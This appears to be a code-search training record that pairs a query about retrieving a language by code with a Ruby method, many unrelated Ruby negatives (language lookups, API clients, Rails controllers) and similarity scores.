"def create\n @api_project = Project.new(api_project_params)\n\n respond_to do |format|\n if @api_project.save\n format.html { redirect_to @api_project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @api_project }\n else\n format.html { render :new }\n format.json { render json: @api_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initialize_project(project_desc)\n project_name = extract_project(project_desc)\n repo_name = extract_repository(project_desc)\n repo_path = File.expand_path(repo_name, $project_dir)\n repo = initialize_repo(project_desc, repo_path)\n if project_desc[:library]\n Project::Library.new(\n repository: repo,\n sub_project: (project_name == repo_name) ? nil : project_name,\n auto_reset: $options[:auto_reset],\n mvn_flags: project_desc[:mvn_flags],\n pull_branches: $pull_branches,\n rebase_branches: $rebase_branches,\n local_branches: $local_branches,\n basis_branch: project_desc[:basis_branch] || $global_basis_branch,\n always_build: project_desc[:always_build]\n )\n else\n Project::Service.new(\n repository: repo,\n sub_project: (project_name == repo_name) ? nil : project_name,\n archive: project_desc[:archive],\n service: project_desc[:wlp],\n restart: project_desc[:restart],\n auto_reset: $options[:auto_reset],\n mvn_flags: project_desc[:mvn_flags],\n pull_branches: $pull_branches,\n rebase_branches: $rebase_branches,\n local_branches: $local_branches,\n basis_branch: project_desc[:basis_branch] || $global_basis_branch\n )\n end\nend",
"def project\n raw = client.get project_url\n client.factory.create(GoodData::Project, raw)\n end",
"def get_projects_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: ProjectsApi.get_projects ...'\n end\n # resource path\n local_var_path = '/projects'\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = ['Token']\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Projects')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: ProjectsApi#get_projects\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def reload\n response = ODPS.conn.get \"projects/#{self.name}\"\n self.creation_time = response['x-odps-creation-time']\n self.last_modified_time = response['Last-Modified']\n self.owner = response['x-odps-owner']\n self.deserialize response.body\n end",
"def set_project\n @project = Concourse::Project.unscoped.friendly.find(params[:id])\n end",
"def before_all(project_id = false)\n # set locale\n I18n.default_locale = :en\n \n @projects = Project::get_all(settings.full_projects_path)\n\n @bc = []\n \n if project_id\n @project = Project.new(File.join(settings.full_projects_path, project_id))\n @bc << { name: @project.id, link: named_route(:projects_show, project_id: @project.id) }\n end\n \n @preview_url = URI::HTTP.build(:host => settings.preview[\"domain\"], :port => settings.preview[\"port\"], :protocol => settings.preview[\"protocol\"])\n\n # for frontend\n @current_project = session[:sssio_project]\n @current_project_environment = session[:sssio_project_environment]\n \n if @current_project_environment == \"development\"\n @current_project_environment_class = \"orange\"\n elsif @current_project_environment == \"production\"\n @current_project_environment_class = \"green\"\n elsif @current_project_environment != \"\"\n @current_project_environment_class = \"blue\"\n end\n\n if self.respond_to? 'before'\n self.before()\n end\n\n end",
"def create\n find_projects(params[:api_key])\n end",
"def project \n organizing_city.current_project\n end",
"def create_project_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: QcApi.create_project ...\"\n end\n # resource path\n local_var_path = \"/projects.json\"\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n # HTTP header 'Content-Type'\n header_params['Content-Type'] = @api_client.select_header_content_type(['application/json'])\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = @api_client.object_to_http_body(opts[:'data'])\n auth_names = ['api_key']\n data, status_code, headers = @api_client.call_api(:POST, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'Project')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: QcApi#create_project\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def initialize(options)\n\n @project = options[:project]\n @id = options[:id]\n @name = options[:name]\n @start_date = options.fetch(:start_date)\n @end_date = options.fetch(:end_date)\n @note = options.fetch(:note)\n\n # Get list of issues in a sprint\n # /rest/api/latest/search?jql=sprint%3D<SPRINT_ID>&fields=<FIELDS YOU WANT>&maxResults=<SOME REASONABLE LIMIT>\n\n # Get sprint stats\n jira_sprint = self.class.get(\"/rest/greenhopper/1.0/rapid/charts/sprintreport?rapidViewId=#{project.id}&sprintId=#{id}\")\n metadata = jira_sprint['sprint']\n contents = jira_sprint['contents']\n # Pulled in stories have to be queried separately\n pulled_in_issues = contents['issueKeysAddedDuringSprint']\n pulled_in_pts = 0\n pulled_in_issues.keys.each do |issue_key|\n issue = self.class.get(\"/rest/api/2/issue/#{issue_key}\")['fields']\n pts = issue['customfield_10004'].nil? ? 0 : issue['customfield_10004'].to_f\n pulled_in_pts += pts\n end\n\n # \"issuesCompletedInAnotherSprint\"=>[],\n # \"completedIssuesInitialEstimateSum\"=>{\"text\"=>\"null\"},\n # \"completedIssuesEstimateSum\"=>{\"text\"=>\"null\"},\n # \"issuesNotCompletedInitialEstimateSum\"=>{\"value\"=>1.0, \"text\"=>\"1.0\"},\n # \"issuesNotCompletedEstimateSum\"=>{\"value\"=>1.0, \"text\"=>\"1.0\"},\n # \"allIssuesEstimateSum\"=>{\"value\"=>1.0, \"text\"=>\"1.0\"},\n # \"puntedIssuesInitialEstimateSum\"=>{\"text\"=>\"null\"},\n # \"puntedIssuesEstimateSum\"=>{\"text\"=>\"null\"},\n # \"issuesCompletedInAnotherSprintInitialEstimateSum\"=>{\"text\"=>\"null\"},\n # \"issuesCompletedInAnotherSprintEstimateSum\"=>{\"text\"=>\"null\"},\n # \"issueKeysAddedDuringSprint\"=>{\"WS-132\"=>true}}\n\n\n # Save sprint metadata\n @name = metadata['name']\n @current_state = metadata['state']\n @start_date = Date.parse(metadata[\"startDate\"]) unless metadata[\"startDate\"] == 'None' # \"09/Jun/15 2:47 PM\"\n @end_date = Date.parse(metadata[\"endDate\"]) unless metadata[\"endDate\"] == 'None' # \"22/Jun/15 2:47 PM\"\n @complete_date = Date.parse(metadata[\"completeDate\"]) unless metadata[\"completeDate\"] == 'None' # \"None\"\n\n @completed_issues = contents['completedIssues']\n @incomplete_issues = contents['incompletedIssues']\n @punted_issues = contents['puntedIssues']\n @pulled_in_issues = contents['issueKeysAddedDuringSprint']\n\n @all_pts = contents['allIssuesEstimateSum']['value'].to_f\n @completed_pts = contents['completedIssuesEstimateSum']['value'].to_f\n @incomplete_pts = contents['issuesNotCompletedEstimateSum']['value'].to_f\n @punted_pts = contents['puntedIssuesEstimateSum']['value'].to_f\n @pulled_in_pts = pulled_in_pts\n\n @activity = {\n :assignees => {},\n :issue_types => {},\n :calendar => ActiveSupport::OrderedHash.new()\n }\n\n end",
"def update_project(project, ptProject)\n project.title = ptProject.name\n project.current_iteration_id = ptProject.current_iteration_number\n project.save\n end"
] |
[
"0.6609208",
"0.6362485",
"0.62046087",
"0.6161392",
"0.6084315",
"0.6038392",
"0.6005506",
"0.5987108",
"0.5985973",
"0.5977584",
"0.5948679",
"0.5908548",
"0.58865774",
"0.58713675",
"0.58711374",
"0.58711374",
"0.58282053",
"0.58206975",
"0.57800364",
"0.57789433",
"0.5692745",
"0.56698155",
"0.56638426",
"0.56634146",
"0.56419903",
"0.5637748",
"0.5633229",
"0.5629329",
"0.56213975",
"0.5618026",
"0.5578365",
"0.55708563",
"0.5567331",
"0.55451244",
"0.5543431",
"0.5538515",
"0.55335283",
"0.5528405",
"0.5519087",
"0.5516181",
"0.5509328",
"0.5495469",
"0.54756707",
"0.54709864",
"0.5461167",
"0.5461167",
"0.5458564",
"0.5432234",
"0.5431691",
"0.54211915",
"0.541673",
"0.54127866",
"0.5399902",
"0.53992754",
"0.5399112",
"0.5399041",
"0.53981066",
"0.5394942",
"0.53892577",
"0.53773755",
"0.5371136",
"0.5371136",
"0.5363147",
"0.5360117",
"0.53575927",
"0.5349351",
"0.53376657",
"0.5333143",
"0.53327864",
"0.5332386",
"0.53289956",
"0.5328892",
"0.5328311",
"0.53274614",
"0.5325107",
"0.53138876",
"0.5308343",
"0.53068644",
"0.5301561",
"0.5299609",
"0.5297328",
"0.5293544",
"0.52854663",
"0.5277923",
"0.52775097",
"0.52770674",
"0.5275513",
"0.5275513",
"0.527244",
"0.52704513",
"0.5269267",
"0.5268333",
"0.52664274",
"0.5250543",
"0.52501297",
"0.5242694",
"0.52389973",
"0.5236061",
"0.52349555",
"0.5229809",
"0.52275205"
] |
0.0
|
-1
|
Retrieves a language by language code
|
def get_language(code, options = {})
root = get_root
object_from_response(GogoKit::Language,
GogoKit::LanguageRepresenter,
:get,
"#{root.links['self'].href}/languages/#{code}",
options)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def get_language_from_code code\n ISO_639.find(code).english_name if not(code.nil?)\n end",
"def language_code_lookup( language_code )\n\n case language_code\n when 'eng'\n return 'English'\n when 'fre'\n return 'French'\n when 'ger'\n return 'German'\n when 'spa'\n return 'Spanish'\n end\n return language_code\n end",
"def find_lang (lang_code)\n LANGUAGE_LIST.each do |element|\n if element[1] == lang_code \n return element[0] \n end\n end\n end",
"def language_for_code(code)\n # ISO_639 maps -1 and -2. LanguageList maps -3.\n ISO_639.find(code)&.english_name || LanguageList::LanguageInfo.find(code)&.name\n end",
"def language_code\n @language_code ||= code_parts[0]\n end",
"def language; languages.first; end",
"def language; languages.first; end",
"def language_name(code)\n if configatron.locales.include?(code)\n t(:locale_name, :locale => code)\n else\n (entry = ISO_639.find(code.to_s)) ? entry.english_name : code.to_s\n end\n end",
"def language_obj\n @language_obj ||= begin\n lookup = self.language_code || self.language_str\n LanguageList::LanguageInfo.find( lookup.dup ) if lookup\n end\n end",
"def language\n return 'en' if code == \"ind2:0\"\n \n return 'se' if code == \"ind2:4\"\n\n return nil\n end",
"def official_language_code(language_code)\n {\n cs: \"zh-CN\",\n ct: \"zh-TW\",\n sp: \"es\",\n jp: \"ja\",\n }[language_code] || language_code\n end",
"def language(id, params = {})\n get \"languages/#{id}\", {query: params}\n end",
"def select_language\n I18n.backend.send(:init_translations) unless I18n.backend.initialized?\n lang = PatientHelper.languages(primary_language)&.dig(:code)&.to_sym || :en\n lang = :en unless %i[en es es-PR so fr].include?(lang)\n lang\n end",
"def language\n fetch('nation.language')\n end",
"def get_translation(lang_code)\n # format language code to a valid bing translate format\n lang_code_cut = TranslationsHelper.cut_country lang_code\n if lang_code_cut.nil?\n return nil\n end\n\n # check if this is a valid language code\n unless TranslationsHelper.is_valid_language lang_code_cut\n return nil\n end\n\n # check if original text is in the new language\n unless original_text.nil?\n lang_code_original_cut = TranslationsHelper.cut_country original_text.lang_code\n\n if original_text.lang_code == lang_code\n return original_text.text\n elsif original_text.lang_code == lang_code_cut\n add_translation(original_text.text, lang_code)\n return original_text.text\n elsif lang_code_original_cut == lang_code_cut\n add_translation(original_text.text, lang_code)\n return original_text.text\n end\n end\n\n # check if translation is already available, if not translate it via bing\n trans = translations.find_by_lang_code(lang_code)\n if trans.nil?\n trans_cut = translations.find_by_lang_code(lang_code_cut)\n\n # check if there is a translation only with the language code, without country code\n if trans_cut.nil?\n return translate_into_lang_code(lang_code)\n else\n add_translation(trans_cut.text, lang_code)\n return trans_cut.text\n end\n\n return translate_into_lang_code(lang_code)\n else\n return trans.text\n end\n end",
"def language_code\n self[:language_code] || (self.person ? self.person.default_language : Utility.language_code)\n end",
"def language_code\n self[:language_code] || (self.person ? self.person.default_language : Utility.language_code)\n end",
"def language_code\n self[:language_code] || (self.person ? self.person.default_language : Utility.language_code)\n end",
"def language_id(language_name)\r\n return Language.find_by_english_name(language_name).id\r\n end",
"def language\n tag = self.languages.first\n return tag ? tag.name : nil\n end",
"def language(code = nil)\n @current_language = code || DEFAULT_LANGUAGE\n @attributes[@current_language] ||= {}\n end",
"def language\n case \n when self.ENU || self.ENG then \"ENG\"\n when self.SPM || self.SPE then \"SPE\"\n when self.FRC || self.FRF then \"FRF\"\n when self.ITI then \"ITI\"\n when self.DUN then \"DUN\"\n when self.GED then \"GED\"\n end\n end",
"def language\n read_attribute(:language) || Language::MULTIPLE_LANGUAGES\n end",
"def display_language(val)\n lang = LanguageList::LanguageInfo.find(val)\n lang ? lang.name : val\n end",
"def pbGetLanguage()\n case System.user_language[0..1]\n when \"ja\" then return 1 # Japanese\n when \"en\" then return 2 # English\n when \"fr\" then return 3 # French\n when \"it\" then return 4 # Italian\n when \"de\" then return 5 # German\n when \"es\" then return 7 # Spanish\n when \"ko\" then return 8 # Korean\n end\n return 2 # Use 'English' by default\nend",
"def language\n fetch('dnd.languages')\n end",
"def country_to_language(country_code)\n\n # sources:\n # http://en.wikipedia.org/wiki/List_of_Internet_top-level_domains\n # http://www.w3.org/WAI/ER/IG/ert/iso639.htm\n # http://msdn.microsoft.com/en-us/library/ms693062%28v=vs.85%29.aspx\n\n # country_code => language_code\n mappings = {\n # English\n :au => :en,\n :ca => :en,\n :eu => :en,\n :ie => :en,\n :nz => :en,\n :sg => :en,\n :uk => :en,\n :us => :en,\n\n # French\n :cd => :fr,\n :cg => :fr,\n :cm => :fr,\n :fr => :fr,\n :mg => :fr,\n\n # German\n :at => :de,\n :ch => :de,\n :de => :de,\n :li => :de,\n :lu => :de,\n\n # Portuguese\n :ao => :pt,\n :br => :pt,\n :mz => :pt,\n :pt => :pt,\n\n # Spanish\n :ar => :es,\n :cl => :es,\n :co => :es,\n :cu => :es,\n :es => :es,\n :mx => :es,\n\n # All other languages\n :bg => :bg,\n :by => :be,\n :cn => :zh,\n :cz => :cs,\n :dk => :da,\n :ee => :et,\n :fi => :fi,\n :gr => :el,\n :hr => :hr,\n :hu => :hu,\n :il => :he,\n :in => :hi,\n :is => :is,\n :it => :it,\n :jp => :ja,\n :kr => :ko,\n :lt => :lt,\n :lv => :lv,\n :mn => :mn,\n :nl => :nl,\n :no => :no,\n :pl => :pl,\n :ro => :ro,\n :rs => :sr,\n :ru => :ru,\n :se => :sv,\n :si => :sl,\n :sk => :sk,\n :th => :th,\n :tr => :tr,\n :ua => :uk,\n :vn => :vi,\n }\n\n if mappings.has_key?(country_code.to_sym)\n mappings[country_code.to_sym].to_s\n else\n # fall back for all other missing mappings\n I18n.default_locale.to_s\n end\n\n end",
"def translate(keyword, language)\n if LOCALES[language.to_sym].nil?\n translations = LOCALES[:en]\n else\n translations = LOCALES[language.to_sym]\n end\n return translations[keyword]\nend",
"def language=(code)\n self[code.downcase.to_sym] = true if code\n end",
"def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end",
"def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end",
"def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end",
"def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end",
"def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end",
"def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end",
"def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end",
"def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end",
"def language_in(country_name)\n params = {query: {fullText: 'true'}}\n response = HTTParty.get(\"#{COUNTRIES_BASE_URL}/#{country_name}\", params)\n json_response = JSON.parse(response.body)\n json_response.first['languages'].first['iso639_1']\n end",
"def find_language(text)\n @cc.find_language(Result, SpanInfo, text.encode(Encoding::UTF_8))\n end",
"def language\n text(data.at_xpath(\"#{data_root}/did/langmaterial/language/@langcode\"))\n end",
"def language\n if !block_given?\n return @j_del.java_method(:language, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling language()\"\n end",
"def language\n \tread_attribute(:language) || Language::MULTIPLE_LANGUAGES\n\tend",
"def language\n self\n end",
"def language\n match(/Language\\s+:\\s+([\\w]+)$/)\n end",
"def language_code\n if self.class.globalized?\n unless @original_language.nil?\n code = @original_language.code\n else\n code = Globalize::Locale.base_language.code\n end\n elsif Globalize::Locale.language.nil?\n code = Globalize::Locale.base_language.code\n else\n code = Globalize::Locale.language.code\n end\n code\n end",
"def for_language(locale)\n translations.select { |word| word.locale == locale }\n end",
"def code\n @grpc.language_code\n end",
"def lang\n language = \"#{@lang}\".strip.downcase\n { #Aliases to languages names\n \"eng\" => [\"en\",\"en-us\",\"english\"],\n \"ita\" => [\"it\"],\n \"por\" => [\"pt\",\"pt-br\",\"portuguese\"],\n \"spa\" => [\"sp\"]\n }.each do |value,names|\n return \" -l #{value} \" if names.include? language\n end\n return \" -l #{language} \" if language.size > 0\n \"\"\n rescue\n \"\"\n end",
"def language\n from_index[:language]\n end",
"def local_name(languages)\r\n ret = nil\r\n if languages\r\n lrs = languages.split(\",\")\r\n lrs.each do |lr|\r\n code = lr.split(\";\")[0]\r\n locale = locales.find(:first, :conditions => [\"code = ?\", code])\r\n ret = locale.name if locale\r\n break if ret\r\n end\r\n end\r\n ret || self.name\r\n end",
"def language #:nodoc\n return '' if read_attribute(:language).nil?\n read_attribute(:language).to_sym\n end",
"def language (value = nil)\n\t\tif value\n\t\t\traise_if_error C.glyr_opt_lang(to_native, value)\n\t\telse\n\t\t\tto_native[:lang]\n\t\tend\n\tend",
"def pbGetLanguage()\n getUserDefaultLangID=Win32API.new(\"kernel32\",\"GetUserDefaultLangID\",\"\",\"i\") rescue nil\n ret=0\n if getUserDefaultLangID\n ret=getUserDefaultLangID.call()&0x3FF\n end\n if ret==0 # Unknown\n ret=MiniRegistry.get(MiniRegistry::HKEY_CURRENT_USER,\n \"Control Panel\\\\Desktop\\\\ResourceLocale\",\"\",0)\n ret=MiniRegistry.get(MiniRegistry::HKEY_CURRENT_USER,\n \"Control Panel\\\\International\",\"Locale\",\"0\").to_i(16) if ret==0\n ret=ret&0x3FF\n return 0 if ret==0 # Unknown\n end\n return 1 if ret==0x11 # Japanese\n return 2 if ret==0x09 # English\n return 3 if ret==0x0C # French\n return 4 if ret==0x10 # Italian\n return 5 if ret==0x07 # German\n return 7 if ret==0x0A # Spanish\n return 8 if ret==0x12 # Korean\n return 2 # Use 'English' by default\nend",
"def three_char_code(lang:)\n two_char_code = lang.to_s.split('-').first\n LANGUAGE_MAP[two_char_code.to_sym]\n end",
"def lang\n\t\t\t@data[\"lang\"]\n\t\tend",
"def localization_info_for_language(lang, connection)\n\t# Starting iOS9, the localization format is <language>-<country_code>\n\t# For example he-IL : he (hebrew language preffered) and IL (Israel)\n\t# We only care here about the preffered language.\n\tif lang =~ /-/i\n\t\tlang = lang.split(\"-\")[0]\n\tend\n\n\t# Some android devices send \"iw\" when hebrew is the preffered language\n\tif lang == \"iw\" then lang = \"he\" end\n\t\n\t# Search for the exact language\n\tinfo = connection.db().collection(\"translations\").find({\"_id\"=>lang}).to_a\t\n\t\n\t# If not found, search for the more general one.\n\tls_lang = less_specific_language(lang)\n\tinfo = connection.db().collection(\"translations\").find({\"_id\"=>ls_lang}).to_a if ls_lang != nil && info.count != 1\t\n\n # If still not found, just get english as fallback\n\tinfo = connection.db().collection(\"translations\").find({\"_id\"=>\"en\"}).to_a if info.count != 1\n\n\t# return the localisation info\n\tif info.count == 1\n\t\treturn info[0]\n\tend\n\t\n\treturn nil\nend",
"def get_name_translation(lang_code)\n #format language code to a valid bing translate format\n lang_code_cut = TranslationsHelper.cut_country(lang_code)\n if lang_code_cut.nil?\n return nil\n end\n\n # check if this is a valid language code\n unless TranslationsHelper.is_valid_language(lang_code_cut)\n return nil\n end\n\n # check if original text is in the new language\n unless original_name.nil?\n lang_code_original_cut = TranslationsHelper.cut_country(original_name.lang_code)\n\n if original_name.lang_code == lang_code\n return original_name.text\n elsif original_name.lang_code == lang_code_cut\n add_name_translation(original_name.text, lang_code)\n return original_name.text\n elsif lang_code_original_cut == lang_code_cut\n add_name_translation(original_name.text, lang_code)\n return original_name.text\n end\n end\n\n # check if translation is already available, if not translate it via bing\n trans = name_translations.find_by_lang_code(lang_code)\n if trans.nil?\n trans_cut = name_translations.find_by_lang_code(lang_code_cut)\n\n # check if there is a translation only with the language code, without country code\n if trans_cut.nil?\n return translate_name_into_lang_code(lang_code)\n else\n add_name_translation(trans_cut.text, lang_code)\n return trans_cut.text\n end\n else\n trans.text\n end\n end",
"def lang_code\n (self.path_lang && self.path_lang.length > 0) ? self.path_lang : @settings['default_lang']\n end",
"def language\n attributes.fetch(:language)\n end",
"def language\n attributes.fetch(:language)\n end",
"def language \n \"language\" \n end",
"def language\n @language ||= LanguageDetector.new\n end",
"def get_language_text_with_http_info(language_code, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: LanguagesApi#get_language_text ...\"\n end\n \n # verify the required parameter 'language_code' is set\n fail \"Missing the required parameter 'language_code' when calling get_language_text\" if language_code.nil?\n \n # resource path\n local_var_path = \"/languages/\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n query_params[:'languageCode'] = language_code\n query_params[:'key'] = opts[:'key'] if opts[:'key']\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n _header_accept = ['application/json']\n _header_accept_result = @api_client.select_header_accept(_header_accept) and header_params['Accept'] = _header_accept_result\n\n # HTTP header 'Content-Type'\n _header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n \n auth_names = []\n data, status_code, headers = @api_client.call_api(:GET, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => 'LanguageDictionary')\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: LanguagesApi#get_language_text\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def language_from_kaf(input)\n document = Nokogiri::XML(input)\n language = document.xpath('KAF/@xml:lang')[0]\n\n return language ? language.to_s : nil\n end",
"def language_from_kaf(input)\n document = Nokogiri::XML(input)\n language = document.xpath('KAF/@xml:lang')[0]\n\n return language ? language.to_s : nil\n end",
"def language_code_of_text\n if self.language_of_text\n self.language_of_text.code\n end\n end",
"def find_template_by_language(language_code=Utility.language_code)\n find(:first, :conditions => [\"kases.template = ? AND kases.language_code = ?\", true, language_code])\n end",
"def language\n if ladnn?\n ['zxx'] # MARC code for 'No linguistic content'\n else\n # If it's populated, DLCS uses MARC IDs, not labels, so we don't need to map like w/ resource_type\n map_field(:language)\n end\n end",
"def get_language(retina_name, body)\n resource_path = '/text/detect_language'\n verb = 'POST'\n query_params = { 'retina_name' => retina_name}\n post_data = body\n headers = {'Accept' => 'Application/json', 'Content-Type' => 'application/json'}\n\n response = @api_client.call_api(resource_path, verb, query_params, post_data, headers)\n RetinaSDK::Model::LanguageRest.new(JSON.parse(response.body, symbolize_names: true))\n end",
"def language(property)\n @languages.fetch(property.to_s, @default_language) if !coerce(property)\n end",
"def get_language\n\t\trender json: Language.find(params[:language_id]).to_json\n\tend",
"def language\n return proper_language(self.parameters[:language]) if self.parameters[:language]\n return session_lang = proper_language(self.session[:language]) if self.session[:language]\n \n lang = self.env['HTTP_ACCEPT_LANGUAGE'] || ''\n m = lang.match(/^[a-zA-Z]{2}(\\-[a-zA-Z]{2})?/)\n\n return TranslatorExtension.defaults[:language] unless m\n match = m[0]\n return proper_language(match)\n end",
"def get_translation(language)\n lang = language.to_s\n @current_translation ||= self.translations.in_language(lang).first\n if (!@current_translation.nil?) and (@current_translation[self.language_column] != lang) then\n @current_translation = self.translations.in_language(lang).first\n else\n @current_translation\n end\n end",
"def language_from_kaf(input)\n parser = Oga::XML::PullParser.new(input)\n language = nil\n\n parser.parse do |node|\n if node.is_a?(Oga::XML::Element) and node.name == 'KAF'\n language = node.get('xml:lang')\n break\n end\n end\n\n # Make sure nobody can _somehow_ inject a language such as \"../../foo\".\n unless language =~ /\\A[a-zA-Z\\-_]+\\z/\n raise Core::UnsupportedLanguageError, language\n end\n\n language\n end",
"def language; end",
"def language; end",
"def language; end",
"def language; end",
"def get_language_uri(language_codes)\n language_codes.map{|e| LanguagesService.label(\"http://id.loc.gov/vocabulary/iso639-2/#{e.downcase}\") ?\n \"http://id.loc.gov/vocabulary/iso639-2/#{e.downcase}\" : e}\n end",
"def map_language(value)\n #changing to a string value since I am returning only one value\n language = case\n when value.is_a?(Array) then value\n when value.is_a?(String) then [value]\n else raise ArgumentError.new(\"Expecting #{value} to be an Array or String\")\n end\n\n iso_lang_code = \"\"\n\n language.each{|lan|\n lan.downcase!\n iso = ISO_639.search(lan)\n #returns an array of arrays\n iso.each_index{|la|\n iso[la].each{|l|\n #if code is found in language array of arrays\n if l == lan\n #the ISO English equivalent of the code or the language\n #always in the 4th position of the array\n iso_lang_code = iso[la][3]\n break\n end\n }\n\n }\n break if !iso_lang_code.empty?\n }\n iso_lang_code\n\n end",
"def find_version\n if @language == :english\n ENGLISH\n elsif @language == :spanish\n SPANISH\n end\n end",
"def lexer_for(language)\n self.lexers.find {|short, lang| language == lang}\n end",
"def isolang2code(language)\n\t\tlanguages = {}\n\t\tlanguages['en']='1' # \"English\"\n\t\tlanguages['fr']='10' # \"French\"\n\t\tlanguages['arb']='107' # \"Iraqi\"\n\t\tlanguages['sq']='11' # \"Albanian\"\n\t\tlanguages['hy']='12' # \"Armenian\"\n\t\tlanguages['zh']='13' # \"Cantonese Chinese\"\n\t\tlanguages['fa']='16' # \"Farsi\"\n\t\tlanguages['de']='18' # \"German\"\n\t\tlanguages['es']='2' # \"Spanish\"\n\t\tlanguages['ht']='20' # \"Haitian Creole\"\n\t\tlanguages['ja']='25' # \"Japanese\"\n\t\tlanguages['ko']='27' # \"Korean\"\n\t\tlanguages['zh-tw']='3' # \"Chinese\"\n\t\tlanguages['cmn']='30' # \"Mandarin Chinese\"\n\t\tlanguages['pa']='33' # \"Punjabi\"\n\t\tlanguages['bs']='34' # \"Serbo-Croatian\"\n\n\t\treturn languages[language]\n\n\tend",
"def language\n attributes[\"language\"] || \"en\"\n end",
"def language\n return @language\n end",
"def lang; end",
"def lang; end",
"def lang; end",
"def lang; end",
"def preferred_language_from(locales)\n (accepted_languages & locales).first\n end",
"def get_lang\n\t\t\tif @cookies['lang']\n\t\t\t\t# we have a cookie - do not set it at all, just read\n\t\t\t\tif @cookies['lang'].is_a?(Hash)\n\t\t\t\t\tcur_lang = @cookies['lang'][:value].to_sym\n\t\t\t\telse\n\t\t\t\t\tcur_lang = @cookies['lang'].to_sym\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t# no cookie - set it, don't validate yet\n\t\t\t\tcur_lang = get_lang_from_headers\n\t\t\t\t@cookies['lang'] = {value: cur_lang, expires:(Time.now+cookie_expiration_time)}\n\t\t\t\tcur_lang = cur_lang.to_sym\n\t\t\tend\n\t\t\t\n\t\t\t# validate the language\n\t\t\tlangs = %w[pl en].map(&:to_sym)\n\t\t\tcur_lang = (langs.include?(cur_lang) ? cur_lang : :en)\n\t\t\t\n\t\t\treturn cur_lang\n\t\tend",
"def abbrev(language)\n if supported?(language)\n if Languages.key?(language)\n language\n else\n language.upcase!\n Languages.each do |k,v|\n if v == language\n return k\n end\n end\n end\n else\n nil\n end\n end",
"def get_language_list\n call :get_language_list\n end",
"def find_by_english_name(name)\n ISO_639_2.detect do |entry|\n entry if entry.english_name == name\n end\n end",
"def find_by_english_name(name)\n ISO_639_2.detect do |entry|\n entry if entry.english_name == name\n end\n end",
"def get_lang_from_headers\n\t\t\t@env['HTTP_ACCEPT_LANGUAGE'].to_s[0, 2]\n\t\tend",
"def booking_language_codes_get(opts = {})\n data, _status_code, _headers = booking_language_codes_get_with_http_info(opts)\n data\n end",
"def language\n @language ||= begin\n primary = languages.max_by { |(_, size)| size }\n primary && primary[0]\n end\n end",
"def get_language_text(language_code, opts = {})\n data, status_code, headers = get_language_text_with_http_info(language_code, opts)\n return data\n end",
